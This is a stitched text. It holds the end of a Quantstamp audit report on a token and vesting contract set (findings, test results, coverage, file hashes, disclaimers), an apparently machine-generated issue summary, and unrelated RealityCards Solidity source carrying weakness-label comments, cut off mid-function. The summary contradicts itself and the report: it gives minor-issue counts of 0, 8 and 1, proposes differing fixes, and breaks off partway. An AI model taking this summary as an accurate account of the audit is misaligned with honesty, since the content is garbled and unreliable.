Description:pragma solidity (^)0.5.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation: QSP-10 Non-zero Balances Shown for Voided Beneficiaries Severity: Informational Unresolved Status: File(s) affected: VestingContract.sol In , a voided beneficiary can still see non-zero values when calling and . Similary, information about the vesting schedule of a voided beneficiary can still be seen through . Description:VestingContract.sol tokenBalance() remainingBalance() vestingScheduleForBeneficiary() Add a check to see if the beneficiary has been voided. If so, return 0 for both and . Similarly, return an extra value for indicating whether or not the beneficiary's schedule is voided. Recommendation:tokenBalance() remainingBalance() vestingScheduleForBeneficiary() Automated Analyses Slither After filtering out the false positives and previously mentioned issues Slither did not detect any issues. Mythril After filtering out the false positives and previously mentioned issues Mythril did not detect any issues. Adherence to SpecificationThe smart contracts in scope adheres to the token paper and Google document that is provided for the context of this audit. However, regarding the ERC20 standards in the implementation of these contracts, Quantstamp has the following observations: 1. Inof : ERC20 should not allow for an event on transferFrom() FuelToken.sol Approval transferFrom() 2. Inof : ERC20 requires allowances to be considered even if the owner of the tokens is the same address as the spender. transferFrom() FuelToken.sol Code Documentation Quantstamp have several observations and suggestions on improving documentation: 1. The functionof is documented to return the beneficiary's vested token balance but instead returns the total escrowed amount in the contract tokenBalance()VestingContractWithoutDelegation.sol 2. The functionin has a return value but there is no documented in developer documentation delegate() FuelToken.sol @return 3. The functionin has a return value but there is no documented in developer documentation delegateBySig() FuelToken.sol @return 4. , has many references to in their documentation even though the currency is not in ETH VestingContractWithoutDelegation.sol VestingDepositAccount.sol wei 5. In, the function is documented to be "only controller" but in actuality, it can be called by anyone VestingDepositAccount.sol init 6. Into of , the documentation is inconsistent; beneficiary is a parameter and not . L121 L138VestingContractWithoutDelegation.solmsg.sender Adherence to Best Practices Quantstamp have observations and suggestions on improving best practices: 1. Inof , the error message for the check in the constructor is incorrect L33 Timelock.solgracePeriod_ 2. Inof , the error message should say "amount underflows" instead of "amount overflows" L308 Timelock.sol3. The constructor forshould have statements to check that and are non-zero addresses FuelToken.sol require account minter 4. The functionof should have statements to check that and are non-zero addresses init VestingDepositAccount.solrequire _controller _beneficiary 5. In the functionof , the declaration of is unnecessary as the function will always return on completion createVestingSchedules()VestingContractWithoutDelegation.sol result true Test Results Test Suite Results All tests have passed. Contract: VestingContract ✓ should return token and baseDepositAccount address (517ms) ✓ reverts when trying to create the contract with zero address token (160ms) reverts createVestingSchedule() reverts when ✓ Not the owner (97ms) ✓ specifying a zero address beneficiary (75ms) ✓ specifying a zero vesting amount (52ms) ✓ trying to overwrite an inflight schedule (191ms) ✓ trying to update schedule beneficiary when not owner (253ms) drawDown() reverts when ✓ no schedule is in flight (65ms) ✓ a beneficiary has no remaining balance (823ms) ✓ the allowance for a particular second has been exceeded (two calls in the same block scenario) (475ms) single schedule - incomplete draw down ✓ beneficiary 1 balance should equal vested tokens when called direct ✓ vesting contract balance should equal vested tokens when proxied through (139ms) ✓ should be able to get my balance ✓ correctly emits ScheduleCreated log ✓ vestingScheduleForBeneficiary() ✓ lastDrawDown() ✓ validateAvailableDrawDownAmount() (84ms) single drawn down ✓ should emit DrawDown events ✓ should move tokens to beneficiary ✓ should reduce validateAvailableDrawDownAmount() (40ms) ✓ should update vestingScheduleForBeneficiary() (99ms) completes drawn down in several attempts after 1 day ✓ some tokens issued (198ms) after 5 day - half tokens issues ✓ more tokens issued (249ms) after 11 days - over schedule - all remaining tokens issues ✓ all tokens issued (99ms) single schedule - future start date ✓ lastDrawnAt() ✓ vestingScheduleForBeneficiary() ✓ remainingBalance() ✓ validateAvailableDrawDownAmount() is zero as not started yet single schedule - starts now - full draw after end date ✓ should draw down full amount in one call (203ms) single schedule - future start - completes on time - attempts to withdraw after completed After all time has passed and all tokens claimed ✓ mo more tokens left to claim (48ms) ✓ draw down rates show correct values (68ms) ✓ no further tokens can be drawn down (66ms) single schedule - update beneficary after 6 days you can update the beneficiary✓ should have draw down to original beneficiary and transferred (503ms) Schedules with cliff durations ✓ Should return 0 for amount available during the cliff period should allow full draw after end date ✓ should draw down full amount in one call (167ms) Contract: VestingContractWithoutDelegation ✓ should return token address reverts contract creation reverts when ✓ trying to create the contract with zero address token (65ms) ✓ trying to create the contract where the end date is before the start (71ms) createVestingSchedule() reverts when ✓ Not the owner ✓ specifying a zero address beneficiary ✓ specifying a zero vesting amount ✓ trying to overwrite an inflight schedule (53ms) drawDown() reverts when ✓ no schedule is in flight (38ms) ✓ a beneficiary has no remaining balance (202ms) ✓ the allowance for a particular second has been exceeded (two calls in the same block scenario) (208ms) single schedule - incomplete draw down ✓ vesting contract balance should equal vested tokens ✓ should be able to get my balance ✓ correctly emits ScheduleCreated log ✓ vestingScheduleForBeneficiary() ✓ lastDrawDown() ✓ validateAvailableDrawDownAmount() single drawn down ✓ should emit DrawDown events ✓ should move tokens to beneficiary ✓ should reduce validateAvailableDrawDownAmount() ✓ should update vestingScheduleForBeneficiary() completes drawn down in several attempts after 1 day ✓ some tokens issued (103ms) after 5 day - half tokens issues ✓ more tokens issued (109ms) after 11 days - over schedule - all remaining tokens issues ✓ all tokens issued (54ms) single schedule - future start date ✓ lastDrawnAt() ✓ vestingScheduleForBeneficiary() ✓ remainingBalance() ✓ validateAvailableDrawDownAmount() is zero as not started yet single schedule - starts now - full draw after end date ✓ should draw down full amount in one call (128ms) single schedule - future start - completes on time - attempts to withdraw after completed After all time has passed and all tokens claimed ✓ mo more tokens left to claim (52ms) ✓ draw down rates show correct values (41ms) ✓ no further tokens can be drawn down (66ms) setting up multiple schedules in a single transaction ✓ reverts when not owner (53ms) ✓ reverts when the arrays are empty ✓ reverts when the arrays are of differing lengths ✓ sets up multiple schedules successfully (101ms) Schedules with cliff durations ✓ Should return 0 for amount available during the cliff period should allow full draw after end date ✓ should draw down full amount in one call (104ms) VestingContract ✓ returns zero for empty vesting schedule Contract: VestingDepositAccount ✓ should return token address, controller, and beneficary (59ms) reverts ✓ when init called twice (101ms) ✓ when transferToBeneficiary not called by controller (54ms) ✓ when switchBeneficiary not called by controller (38ms) 77 passing (42s) Code Coverage Overall, the test suite has decent coverage across the files in scope. However, it is not perfect. Most notably, the coverage results for can be improved by adding test cases for and . Likewise, coverage for can be improved by adding test cases for . Moreover, since seems to have been modified when compared to the original contract from Compound, we strongly advise adding tests to increase the coverage score for it. VestingContract.solL255 L263 VestingContractWithoutDelegation.sol L207 Timelock.sol File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 48.39 36.64 52.17 49 CloneFactory.sol 100 100 100 100 FuelToken.sol 55.36 34.78 60 54.87 … 367,368,369 Governor.sol 0 0 0 0 … 320,321,322 IERC20.sol 100 100 100 100 ReentrancyGuard.sol 100 50 100 100 SafeMath.sol 59.26 33.33 60 59.26 … 168,183,184 Timelock.sol 0 0 0 0 … 115,117,122 VestingContract.sol 96.43 79.41 90.91 96.43 255,263 VestingContractWithoutDelegation.sol 97.96 90.63 91.67 97.96 207 VestingDepositAccount.sol 100 100 100 100 contracts/ mock/ 87.5 75 100 87.5 VestingContractWithFixedTime.sol 75 50 100 75 30 VestingContractWithoutDelegationFixedTime.s ol 100100 100 100 All files 49.15 37.29 55.1 49.76 AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts f847d6934da197243b051ecbe8a994014a78539bbdaa28621bfafd7a18925454 ./contracts/CloneFactory.sol 9f2f286aa855a2357745c747b868dc19c35f70286761f4fef57fb7ff993e3f43 ./contracts/FuelToken.sol ccfb98a84f139f2bcc4ec89ed9de163c787482748b516e13500cb582b323aaf0 ./contracts/Governor.sol f9dd3bef4149ff4d7ea1ba1667341aef422b23bb9b6415e1c65a89944a91769b ./contracts/IERC20.sol a19e492ee19ed4289476b6a192572692a3911a176567bd6c90a40d686966ffed ./contracts/ReentrancyGuard.sol 7a44af6e18146a12c4e6e59acd4499ebefbd127182356f1e01fe84ca93339043 ./contracts/SafeMath.sol 3e84c7a6251d127eefc3186596d867fbb7581039c64614fbbdb23bf872cb6901 ./contracts/Timelock.sol 635c38313747d05c95bdc29f78b780745aa65dbbc2ee709530994f85d9bc6311 ./contracts/VestingContract.sol abbcea3c090f72e9360a24b3001a39edb2daea32e90a48b6d938a612f20790fd ./contracts/VestingContractWithoutDelegation.sol b27cfe449ab59508c279e8e22fbc5ac0e497bc138504454d35b7576b7410599a ./contracts/VestingDepositAccount.sol Changelog 2020-09-23 - Initial report •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. PowerTrade Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues: None Moderate Issues: None Major Issues: None Critical Issues: None Observations: - 8 low-severity issues - 2 informational issues - 2 suggestions regarding the implementation of the ERC20 specification - 6 suggestions regarding documentation - 5 suggestions regarding best practices Conclusion: The code is well-structured, well-documented and decently tested. However, there are several security considerations that need to be addressed before the live deployment. Issues Count of Minor/Moderate/Major/Critical: Minor: 8 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 1. QSP-1: Use of for Block Number and Checkpoints uint32Low (Unresolved) Fix: Use of uint256 instead of uint32 for Block Number and Checkpoints. 2. QSP-2: Clone-and-Own Low (Unresolved) Fix: Use of Ownable.sol instead of Clone-and-Own. 3. QSP-3: Updating Beneficiary Reduces Its Rate of Receiving Tokens Low (Unresolved) Fix: Use of a separate mapping to store the rate of receiving tokens for each beneficiary. 4. QSP-4: Time Unit Changed in When Compared to Compound Contract Timelock.solLow (Unresolved) Fix: Use of same time unit as Compound Contract Timelock.sol. 5. QSP-5: Lack of Timelock When Changing Admin Addresses Low (Unresolved) Fix: Use of timelock when changing admin addresses. 6. QSP-6: Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: Problem: In FuelToken.sol, the use of uint32 for Block Number and Checkpoints could conceivably result in the token's lockdown in the future as these numbers approach their max limits. Fix: Change to uint128 for accommodating a larger max value as these variables increment in the future. Moderate: None Major: None Critical: None Observations: 1. The clone-and-own approach involves copying and adjusting open source code at one's own discretion. 2. When updating the beneficiary with the function updateScheduleBeneficiary(), the property for the new beneficiary's schedule is decreased. 3. The contract Timelock.sol has been modified to handle and as seconds while the original Compound contract explicitly enforces limits to these parameters in time units of days. Conclusion: The audit found one minor issue with the FuelToken.sol contract, which can be fixed by changing the uint32 to uint128. Additionally, the audit found two observations regarding the clone-and-
pragma solidity 0.5.13; import "@openzeppelin/contracts/token/ERC721/ERC721Full.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@nomiclabs/buidler/console.sol"; import "./interfaces/ICash.sol"; import "./interfaces/IRealitio.sol"; /// @title RealityCards /// @author Andrew Stanger contract RealityCards is ERC721Full, Ownable { using SafeMath for uint256; //////////////////////////////////// //////// VARIABLES ///////////////// //////////////////////////////////// ///// CONTRACT SETUP ///// /// @dev = how many outcomes/teams/NFTs etc uint256 public numberOfTokens; /// @dev counts how many NFTs have been minted /// @dev when nftMintCount = numberOfTokens, increment state // SWC-Code With No Effects: L27 uint256 private nftMintCount; /// @dev the question ID of the question on realitio bytes32 public questionId; /// @dev only for _revertToPreviousOwner to prevent gas limits uint256 constant private MAX_ITERATIONS = 10; enum States {NFTSNOTMINTED, OPEN, LOCKED, WITHDRAW} States public state; ///// CONTRACT VARIABLES ///// IRealitio public realitio; ICash public cash; ///// PRICE, DEPOSITS, RENT ///// /// @dev in attodai (so $100 = 100000000000000000000) mapping (uint256 => uint256) public price; /// @dev keeps track of all the deposits for each token, for each owner mapping (uint256 => mapping (address => uint256) ) public deposits; /// @dev keeps track of all the rent paid by each user. So that it can be returned in case of an invalid market outcome. mapping (address => uint256) public collectedPerUser; /// @dev keeps track of all the rent paid for each token, front end only mapping (uint256 => uint256) public collectedPerToken; /// @dev an easy way to track the above across all tokens uint256 public totalCollected; ///// TIME ///// /// @dev how many seconds each user has held each token for, for determining winnings mapping (uint256 => mapping (address => uint256) ) public timeHeld; /// @dev sums all the timeHelds for each. Not required, but saves on gas when paying out. Should always increment at the same time as timeHeld mapping (uint256 => uint256) public totalTimeHeld; /// @dev used to determine the rent due. Rent is due for the period (now - timeLastCollected), at which point timeLastCollected is set to now. mapping (uint256 => uint256) public timeLastCollected; /// @dev when a token was bought. Used to enforce minimum of one hour rental, also used in front end. Rent collection does not need this, only needs timeLastCollected. mapping (uint256 => uint256) public timeAcquired; ///// PREVIOUS OWNERS ///// /// @dev keeps track of all previous owners of a token, including the price, so that if the current owner's deposit runs out, /// @dev ...ownership can be reverted to a previous owner with the previous price. Index 0 is NOT used, this tells the contract to foreclose. /// @dev this does NOT keep a reliable list of all owners, if it reverts to a previous owner then the next owner will overwrite the owner that was in that slot. mapping (uint256 => mapping (uint256 => rental) ) public ownerTracker; /// @dev tracks the position of the current owner in the ownerTracker mapping mapping (uint256 => uint256) public currentOwnerIndex; /// @dev the struct for ownerTracker struct rental { address owner; uint256 price; } /// @dev array of all owners of a token (for front end) mapping (uint256 => address[]) public allOwners; /// @dev preventing duplicates in allOwners mapping (uint256 => mapping (address => bool)) private inAllOwners; ///// MARKET RESOLUTION VARIABLES ///// uint256 public winningOutcome; //// @dev when the question can be answered on Realitio. uint32 public marketExpectedResolutionTime; /// @dev If false, normal payout. If true, return all funds. Default true bool public questionResolvedInvalid = true; /// @dev prevent users withdrawing twice mapping (address => bool) public userAlreadyWithdrawn; //////////////////////////////////// //////// CONSTRUCTOR /////////////// //////////////////////////////////// constructor( address _owner, uint256 _numberOfTokens, ICash _addressOfCashContract, IRealitio _addressOfRealitioContract, uint32 _marketExpectedResolutionTime, uint256 _templateId, string memory _question, address _arbitrator, uint32 _timeout) ERC721Full("realitycards.io", "RC") public { // reassign ownership (because deployed using public seed) transferOwnership(_owner); // assign arguments to public variables numberOfTokens = _numberOfTokens; marketExpectedResolutionTime = _marketExpectedResolutionTime; // external contract variables: realitio = _addressOfRealitioContract; cash = _addressOfCashContract; // Create the question on Realitio questionId = _postQuestion(_templateId, _question, _arbitrator, _timeout, _marketExpectedResolutionTime, 0); } //////////////////////////////////// //////// EVENTS //////////////////// //////////////////////////////////// event LogNewRental(address indexed newOwner, uint256 indexed newPrice, uint256 indexed tokenId); event LogPriceChange(uint256 indexed newPrice, uint256 indexed tokenId); event LogForeclosure(address indexed prevOwner, uint256 indexed tokenId); event LogRentCollection(uint256 indexed rentCollected, uint256 indexed tokenId); event LogReturnToPreviousOwner(uint256 indexed tokenId, address indexed previousOwner); event LogDepositWithdrawal(uint256 indexed daiWithdrawn, uint256 indexed tokenId, address indexed returnedTo); event LogDepositIncreased(uint256 indexed daiDeposited, uint256 indexed tokenId, address indexed sentBy); event LogContractLocked(bool indexed didTheEventFinish); event LogWinnerKnown(uint256 indexed winningOutcome); event LogWinningsPaid(address indexed paidTo, uint256 indexed amountPaid); event LogRentReturned(address indexed returnedTo, uint256 indexed amountReturned); event LogTimeHeldUpdated(uint256 indexed newTimeHeld, address indexed owner, uint256 indexed tokenId); //////////////////////////////////// //////// INITIAL SETUP ///////////// //////////////////////////////////// function mintNfts(string calldata _uri) external checkState(States.NFTSNOTMINTED) { _mint(address(this), nftMintCount); _setTokenURI(nftMintCount, _uri); nftMintCount = nftMintCount.add(1); if (nftMintCount == numberOfTokens) { _incrementState(); } } //////////////////////////////////// /////////// MODIFIERS ////////////// //////////////////////////////////// modifier checkState(States currentState) { require(state == currentState, "Incorrect state"); _; } /// @notice checks the token exists modifier tokenExists(uint256 _tokenId) { require(_tokenId < numberOfTokens, "This token does not exist"); _; } /// @notice what it says on the tin modifier amountNotZero(uint256 _dai) { require(_dai > 0, "Amount must be above zero"); _; } /// @notice what it says on the tin modifier onlyTokenOwner(uint256 _tokenId) { require(msg.sender == ownerOf(_tokenId), "Not owner"); _; } //////////////////////////////////// //////// VIEW FUNCTIONS //////////// //////////////////////////////////// /// @dev called in collectRent function, and various other view functions function rentOwed(uint256 _tokenId) public view returns (uint256) { return price[_tokenId].mul(now.sub(timeLastCollected[_tokenId])).div(1 days); } /// @dev for front end only /// @return how much the current owner has left of their deposit after deducting rent owed but not paid function currentOwnerRemainingDeposit(uint256 _tokenId) public view returns (uint256) { uint256 _rentOwed = rentOwed(_tokenId); address _currentOwner = ownerOf(_tokenId); if(_rentOwed >= deposits[_tokenId][_currentOwner]) { return 0; } else { return deposits[_tokenId][_currentOwner].sub(_rentOwed); } } /// @dev for front end only /// @return how much the user has deposited (note: user not owner) // SWC-Code With No Effects: L198-204 function userRemainingDeposit(uint256 _tokenId) external view returns (uint256) { if(ownerOf(_tokenId) == msg.sender) { return currentOwnerRemainingDeposit(_tokenId); } else { return deposits[_tokenId][msg.sender]; } } /// @dev for front end only /// @return rental expiry time given current contract state function rentalExpiryTime(uint256 _tokenId) external view returns (uint256) { uint256 pps; pps = price[_tokenId].div(1 days); // SWC-Code With No Effects: L212-214 if (pps == 0) { return now; //if price is so low that pps = 0 just return current time as a fallback } else { return now + currentOwnerRemainingDeposit(_tokenId).div(pps); } } /// @dev for front end and _payoutWinnings function function getWinnings(uint256 _winningOutcome) public view returns (uint256) { uint256 _winnersTimeHeld = timeHeld[_winningOutcome][msg.sender]; uint256 _numerator = totalCollected.mul(_winnersTimeHeld); uint256 _winnings = _numerator.div(totalTimeHeld[_winningOutcome]); return _winnings; } //////////////////////////////////// ///// EXTERNAL DAI FUNCTIONS /////// //////////////////////////////////// /// @notice common function for all outgoing DAI transfers function _sendCash(address _to, uint256 _amount) internal { require(cash.transfer(_to,_amount), "Cash transfer failed"); } /// @notice common function for all incoming DAI transfers function _receiveCash(address _from, uint256 _amount) internal { require(cash.transferFrom(_from, address(this), _amount), "Cash transfer failed"); } //////////////////////////////////// //// EXTERNAL REALITIO FUNCTIONS /// //////////////////////////////////// /// @notice posts the question to realit.io function _postQuestion(uint256 template_id, string memory question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce) internal returns (bytes32) { return realitio.askQuestion(template_id, question, arbitrator, timeout, opening_ts, nonce); } /// @notice gets the winning outcome from realitio /// @dev the returned value is equivilent to tokenId /// @dev this function call will revert if it has not yet resolved function _getWinner() internal view returns(uint256) { bytes32 _winningOutcome = realitio.resultFor(questionId); return uint256(_winningOutcome); } /// @notice has the question been finalized on realitio? function _isQuestionFinalized() internal view returns (bool) { return realitio.isFinalized(questionId); } //////////////////////////////////// //// MARKET RESOLUTION FUNCTIONS /// //////////////////////////////////// /// @notice checks whether the competition has ended (1 hour grace), if so moves to LOCKED state /// @dev can be called by anyone function lockContract() external checkState(States.OPEN) { require(marketExpectedResolutionTime < (now - 1 hours), "Market has not finished"); // do a final rent collection before the contract is locked down collectRentAllTokens(); _incrementState(); emit LogContractLocked(true); } /// @notice checks whether the Realitio question has resolved, and if yes, gets the winner /// @dev can be called by anyone function determineWinner() external checkState(States.LOCKED) { require(_isQuestionFinalized() == true, "Oracle not resolved"); // get the winner. This will revert if answer is not resolved. winningOutcome = _getWinner(); // check if question resolved invalid if (winningOutcome != ((2**256)-1)) { questionResolvedInvalid = false; } _incrementState(); emit LogWinnerKnown(winningOutcome); } /// @notice pays out winnings, or returns funds, based on questionResolvedInvalid bool function withdraw() external checkState(States.WITHDRAW) { require(!userAlreadyWithdrawn[msg.sender], "Already withdrawn"); userAlreadyWithdrawn[msg.sender] = true; if (!questionResolvedInvalid) { _payoutWinnings(); } else { _returnRent(); } } /// @notice pays winnings function _payoutWinnings() internal { uint256 _winningsToTransfer = getWinnings(winningOutcome); require(_winningsToTransfer > 0, "Not a winner"); _sendCash(msg.sender, _winningsToTransfer); emit LogWinningsPaid(msg.sender, _winningsToTransfer); } /// @notice returns all funds to users in case of invalid outcome function _returnRent() internal { uint256 _rentCollected = collectedPerUser[msg.sender]; require(_rentCollected > 0, "Paid no rent"); _sendCash(msg.sender, _rentCollected); emit LogRentReturned(msg.sender, _rentCollected); } /// @notice withdraw full deposit after markets have resolved /// @dev the other withdraw deposit functions are locked when markets have closed so must use this one /// @dev can be called in either locked or withdraw state /// @dev this function is also different in that it does /// @dev ... not attempt to collect rent or transfer ownership to a previous owner function withdrawDepositAfterMarketEnded() external { require(state != States.NFTSNOTMINTED, "Incorrect state"); require(state != States.OPEN, "Incorrect state"); for (uint i = 0; i < numberOfTokens; i++) { uint256 _depositToReturn = deposits[i][msg.sender]; if (_depositToReturn > 0) { deposits[i][msg.sender] = 0; _sendCash(msg.sender, _depositToReturn); emit LogDepositWithdrawal(_depositToReturn, i, msg.sender); } } } //////////////////////////////////// ///// MAIN FUNCTIONS- EXTERNAL ///// //////////////////////////////////// /// @dev basically functions that have checkState(States.OPEN) modifier /// @notice collects rent for all tokens /// @dev cannot be external because it is called within the lockContract function, therefore public function collectRentAllTokens() public checkState(States.OPEN) { for (uint i = 0; i < numberOfTokens; i++) { _collectRent(i); } } /// @notice to rent a token function newRental(uint256 _newPrice, uint256 _tokenId, uint256 _deposit) external checkState(States.OPEN) tokenExists(_tokenId) amountNotZero(_deposit) { uint256 _currentPricePlusTenPercent = price[_tokenId].mul(11).div(10); uint256 _oneHoursDeposit = _newPrice.div(24); require(_newPrice >= _currentPricePlusTenPercent, "Price not 10% higher"); require(_deposit >= _oneHoursDeposit, "One hour's rent minimum"); require(_newPrice >= 0.01 ether, "Minimum rental 0.01 Dai"); _collectRent(_tokenId); _depositDai(_deposit, _tokenId); address _currentOwner = ownerOf(_tokenId); if (_currentOwner == msg.sender) { // bought by current owner- just change price _changePrice(_newPrice, _tokenId); } else { // bought by new user- the normal flow // update internals currentOwnerIndex[_tokenId] = currentOwnerIndex[_tokenId].add(1); ownerTracker[_tokenId][currentOwnerIndex[_tokenId]].price = _newPrice; ownerTracker[_tokenId][currentOwnerIndex[_tokenId]].owner = msg.sender; timeAcquired[_tokenId] = now; // just for front end: if (!inAllOwners[_tokenId][msg.sender]) { inAllOwners[_tokenId][msg.sender] = true; allOwners[_tokenId].push(msg.sender); } // externals _transferTokenTo(_currentOwner, msg.sender, _newPrice, _tokenId); emit LogNewRental(msg.sender, _newPrice, _tokenId); } } /// @notice add new dai deposit to an existing rental /// @dev it is possible a user's deposit could be reduced to zero following _collectRent /// @dev they would then increase their deposit despite no longer owning it /// @dev this is ok, they can still withdraw via withdrawDeposit. /// @dev can be called by anyone- you can top up someone else's deposit if you wish! function depositDai(uint256 _dai, uint256 _tokenId) external checkState(States.OPEN) amountNotZero(_dai) tokenExists(_tokenId) { _collectRent(_tokenId); _depositDai(_dai, _tokenId); } /// @notice increase the price of an existing rental /// @dev 10% price increase not required for existing owners function changePrice(uint256 _newPrice, uint256 _tokenId) external checkState(States.OPEN) tokenExists(_tokenId) onlyTokenOwner(_tokenId) { require(_newPrice > price[_tokenId], "New price must be higher"); _collectRent(_tokenId); _changePrice(_newPrice, _tokenId); } /// @notice withdraw deposit /// @dev do not need to be the current owner /// @dev public because called by exit function withdrawDeposit(uint256 _daiToWithdraw, uint256 _tokenId) public checkState(States.OPEN) tokenExists(_tokenId) amountNotZero(_daiToWithdraw) { _collectRent(_tokenId); uint256 _remainingDeposit = deposits[_tokenId][msg.sender]; // deposits may be lower (or zero) then when function called due to _collectRent if (_remainingDeposit > 0) { if (_remainingDeposit < _daiToWithdraw) { _daiToWithdraw = _remainingDeposit; } _withdrawDeposit(_daiToWithdraw, _tokenId); emit LogDepositWithdrawal(_daiToWithdraw, _tokenId, msg.sender); } } /// @notice withdraw full deposit /// @dev do not need to be the current owner /// @dev no modifiers because they are on withdrawDeposit function exit(uint256 _tokenId) external { withdrawDeposit(deposits[_tokenId][msg.sender], _tokenId); } /// @notice withdraw full deposit for all tokens /// @dev do not need to be the current owner /// @dev no modifiers because they are on withdrawDeposit function exitAll() external { for (uint i = 0; i < numberOfTokens; i++) { uint256 _remainingDeposit = deposits[i][msg.sender]; if (_remainingDeposit > 0) { withdrawDeposit(_remainingDeposit, i); } } } //////////////////////////////////// ///// MAIN FUNCTIONS- INTERNAL ///// //////////////////////////////////// /// @notice collects rent for a specific token /// @dev also calculates and updates how long the current user has held the token for /// @dev is not a problem if called externally, but making internal over public to save gas function _collectRent(uint256 _tokenId) internal { //only collect rent if the token is owned (ie, if owned by the contract this implies unowned) if (ownerOf(_tokenId) != address(this)) { uint256 _rentOwed = rentOwed(_tokenId); address _currentOwner = ownerOf(_tokenId); uint256 _timeOfThisCollection; if (_rentOwed >= deposits[_tokenId][_currentOwner]) { // run out of deposit. Calculate time it was actually paid for, then revert to previous owner _timeOfThisCollection = timeLastCollected[_tokenId].add(((now.sub(timeLastCollected[_tokenId])).mul(deposits[_tokenId][_currentOwner]).div(_rentOwed))); _rentOwed = deposits[_tokenId][_currentOwner]; // take what's left _revertToPreviousOwner(_tokenId); } else { // normal collection _timeOfThisCollection = now; } // decrease deposit by rent owed deposits[_tokenId][_currentOwner] = deposits[_tokenId][_currentOwner].sub(_rentOwed); // update time held and amount collected variables uint256 _timeHeldToIncrement = (_timeOfThisCollection.sub(timeLastCollected[_tokenId])); // note that if _revertToPreviousOwner was called above, _currentOwner will no longer refer to the // ... actual current owner. This is correct- we are updating the variables of the user who just // ... had their rent collected, not the new owner, if there is one timeHeld[_tokenId][_currentOwner] = timeHeld[_tokenId][_currentOwner].add(_timeHeldToIncrement); totalTimeHeld[_tokenId] = totalTimeHeld[_tokenId].add(_timeHeldToIncrement); collectedPerUser[_currentOwner] = collectedPerUser[_currentOwner].add(_rentOwed); collectedPerToken[_tokenId] = collectedPerToken[_tokenId].add(_rentOwed); totalCollected = totalCollected.add(_rentOwed); emit LogTimeHeldUpdated(timeHeld[_tokenId][_currentOwner], _currentOwner, _tokenId); emit LogRentCollection(_rentOwed, _tokenId); } // timeLastCollected is updated regardless of whether the token is owned, so that the clock starts ticking // ... when the first owner buys it, because this function is run before ownership changes upon calling // ... newRental timeLastCollected[_tokenId] = now; } /// @dev depositDai is split into two, because it needs to be called direct from newRental /// @dev ... without collecing rent first (otherwise it would be collected twice, possibly causing logic errors) function _depositDai(uint256 _dai, uint256 _tokenId) internal { deposits[_tokenId][msg.sender] = deposits[_tokenId][msg.sender].add(_dai); _receiveCash(msg.sender, _dai); emit LogDepositIncreased(_dai, _tokenId, msg.sender); } /// @dev changePrice is split into two, because it needs to be called direct from newRental /// @dev ... without collecing rent first (otherwise it would be collected twice, possibly causing logic errors) function _changePrice(uint256 _newPrice, uint256 _tokenId) internal { // below is the only instance when price 